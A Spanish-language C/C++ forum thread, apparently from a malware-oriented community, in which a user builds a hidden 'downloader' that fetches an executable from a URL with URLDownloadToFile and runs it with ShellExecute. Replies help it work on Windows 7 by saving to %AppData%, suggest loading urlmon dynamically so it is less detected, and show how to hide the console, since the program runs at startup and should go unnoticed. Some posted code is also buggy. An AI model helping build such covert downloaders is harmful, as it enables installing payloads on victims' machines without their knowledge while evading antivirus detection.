Buenas gente tengo este codigo que me funciona bien en windows xp pero en seven no va, solo si lo ejecuto con compatibilidad de xp sp2
que debo hacer para que funcione tambien en windows 7

Código: Seleccionar todo


#include <stdio.h>
#include<windows.h> 
#pragma comment(lib,"urlmon.lib")

void main (void)
{


	// Variable de Url del archivo a descargar
char descarga[]="https://www.url.com/archivo.exe";
	// Variable del directorio donde es guardado el archivo descargado
char guardaren[]="C:\\archivo.exe";


if(URLDownloadToFile(NULL,descarga,guardaren,0,NULL) == S_OK)
					{
					// imprime texto de exito
				printf("archivo Descargado Con exito....");
					// espera 5 segundos
				Sleep(5000);
					// ejecuta el nuevo archivo en modo NORMAL
				ShellExecute(NULL,"open",guardaren,NULL,NULL,SW_SHOWNORMAL);
				dec = true;
					}



getchar();

}
Ahora la duda la tengo yo.
Cual es realmente el problema??
No descarga el archivo?
o
No funciona el archivo descargado?

Si es la primera opcion ---> da error de ejecucion? o no entra en el "if" ?
Si es la segunda opcion....me surge una pregunta:
El "server" funciona si lo colocas manualmente en la pc?
Si es así, descarga el "server" y comparalo (hex) con el original para ver el "cambio".
(aclaro que ahora estoy sentado frente a un Windows 2000, así que mi posibilidad de hacer pruebas son nulas )

Edito: que es esta linea?

Código: Seleccionar todo

dec=true;

Código: Seleccionar todo

   char guardaren[]="C:\\archivo.exe";
Posible causa podría ser que estas indicando que descargue en la unidad "C" y windows 7 y Vista se podría decir que tienen esa zona protegida por la UAC al igual que otros lugares y entonces los archivos tienen que ser ejecutados como administrador para que se pueda descargar correctamente. Te recomiendo que se descargue en otra zona como %AppData% o %Temp% que no están protegidas por la UAC.

Bendiciones ¡!
¿Si usted muriera hoy esta seguro que iría al cielo?
http://www.antesdelfin.com/salvo.html

© Indetectables Team
Hola,te voy a hacer unas pequeñas correciones,mas siempre acórdate de que con tal de que te funcione llega,eso es lo importante....
char descarga[]="[Enlace externo eliminado para invitados]"; //No uses Array,es innecesario :)
char guardaren[]="C:\\archivo.exe"; //Lo mismo,el array es innecesario :)
Si queres ver si todo paso bien podes usar Bool y Return...Como?....Pues un simple ejemplo;
bool Ejemplo(int* Ejemplo);
{
if(FileExist("C:\\hola.exe")=1)
{
return TRUE;
}else //Quizas que no este bien,lo hice a ojo...
return FALSE;
} //Acórdate lo importante esque te funcione,no las criticas...

Salu2...
Blog técnico dedicado a la seguridad informática y al estudio de nuevas vulnerabilidades.
Blog: http://www.seginformatica.net
Twitter: https://twitter.com/#!/p0is0nseginf
Bien, ya ahora en mi casa...es para informar que DARK_J4V13R tenía razon.
El motivo de la "no" descarga del archivo en Windows 7 , es por los permisos de la carpeta.
Si se elije un directorio distinto (no protegido por la UAC), el archivo se descarga correctamente.
Saludos
Muchas gracias por todas las respuestas.

Hoy no pude ver el foro en todo el dia por el trabajo
Mañana respondo todo y pruebo lo del uac

Ahora una pregunta, en ves de cadena que debo usar como variable?

Existe una opción en c++ para descargar sin usar el api de windows?
Cual seria?
Me imagino que seria menos detectado verdad?
Cargas la libreria Urlmon en memoria,obtenienes la Direccion del API En esa Libreria,le pasas los parametros

Salu2...
Blog técnico dedicado a la seguridad informática y al estudio de nuevas vulnerabilidades.
Blog: http://www.seginformatica.net
Twitter: https://twitter.com/#!/p0is0nseginf
Bueno respondo las dudas

respondo a osnaraus
Ahora la duda la tengo yo.
Cual es realmente el problema??
No descarga el archivo?
o
No funciona el archivo descargado?
1 - el problema es que el archivo no se descarga

2 - esa linea q comentas es un bool que uso para un while pero yo reduje el código por que sabia q el problema estaba ahí

gracias osnaraus


bueno DARK_J4V13R, voy a probar lo del UAC y en un rato te digo, seguramente es eso por que p0is0n-123 ya lo confirmo
p0is0n-123 escribió:Hola,te voy a hacer unas pequeñas correciones,mas siempre acórdate de que con tal de que te funcione llega,eso es lo importante....
char descarga[]="[Enlace externo eliminado para invitados]"; //No uses Array,es innecesario :)
char guardaren[]="C:\\archivo.exe"; //Lo mismo,el array es innecesario :)
Si queres ver si todo paso bien podes usar Bool y Return...Como?....Pues un simple ejemplo;
bool Ejemplo(int* Ejemplo);
{
if(FileExist("C:\\hola.exe")=1)
{
return TRUE;
}else //Quizas que no este bien,lo hice a ojo...
return FALSE;
} //Acórdate lo importante esque te funcione,no las criticas...

Salu2...
:O amigo p0is0n me parece que estas en un error, es correcto guardar las cadenas "arrays" por ejemplo char hola[5]="hola"; la única diferencia aquí es que nuvona04 no definió la extención de la cadena, si quitas el array vas a tener problemas con los tipos de variables (int, char, char *, const char, etc...)

Y no es necesario para NADA el bool, puedes hacerlo directamente sin usar una funcion ya que FileExist ya devuelve un valor entonces para que devolver dos veces un valor? eso lo implementas directo al código amigo...

Código: Seleccionar todo

if(FileExist("C:\\hola.exe")==1)
{
  //continua tu codigo
}
//mHmm..
Muchas gracias a todos, la verdad una gran comunidad.
ya funciono el tema era lo del UAC, así que decidí y aprendí (me costo bastante) obtener la carpeta %AppData% y guardar el fichero ahi.

tengo la aplicación casi lista y si quieren publico el código completo aquí. para que puedan criticar mi primer creación.

lo único que me molesta, por ahora, es que quiero la aplicación oculta, pero cuando la ejecuto se abre por un segundo la consola y se cierra. como se hace para que ni pestañee la pantalla?
Última edición por nuvona04 el 16 Sep 2010, 02:40, editado 1 vez en total.
nuvona04 escribió:lo único que me molesta, por ahora, es que quiero la aplicación oculta, pero cuando la ejecuto se abre por un segundo la consola y se cierra. como se hace para que ni pestañee la pantalla?
Yo conozco dos formas:

- Usando FreeConsole():

Código: Seleccionar todo

#include <windows.h>

int main()
{
    FreeConsole();
    Sleep(5000);
    MessageBoxA(0, "Viva Cristo", "Prueba", MB_OK);
}
- Usando ShowWindow():

Código: Seleccionar todo

#include <windows.h>

int main()
{
    ShowWindow(GetForegroundWindow(), SW_HIDE);
    Sleep(5000);
    MessageBoxA(0, "Viva Cristo", "Prueba", MB_OK);
}
Las dos dan el mismo resultado.

Bendiciones ¡!
¿Si usted muriera hoy esta seguro que iría al cielo?
http://www.antesdelfin.com/salvo.html

© Indetectables Team
- Usando ShowWindow():
esa estoy usando ahora pero sucede que se abre la ventana del cmd y se cierra inmediatamente, pero se ve jajaja soy medio exigente. el caso esta que cuando reinicias la maquina (puse la aplicación en el inicio) si estas mirando la pantalla en ese momento te das cuenta que algo raro paso

Que dices DARK_J4V13R

si uso FreeConsole(): obtendré el efecto deseado (igual ya me pongo a probar)
nuvona04 escribió:DARK_J4V13R
Confirmado me da el mismo efecto con FreeConsole():
voy a seguir investigando
Si es para un downloader (vamos que es eso de fijo xD), no uses modo consola, porque siempre apareceria la consola.
Saludos
avisen que no hay que usar modo consola jajaja

claro que es un downloader como no encontraba uno que controlara la existencia de un server me lo hice (muuuaaaaajajajaja invente la rueda jajaja) me siento como el profesor neurus jajajaja

volviendo al tema, estoy trabajando con vc++ 6 en que modo lo tengo que crear al programa
Responder

Volver a “C/C++”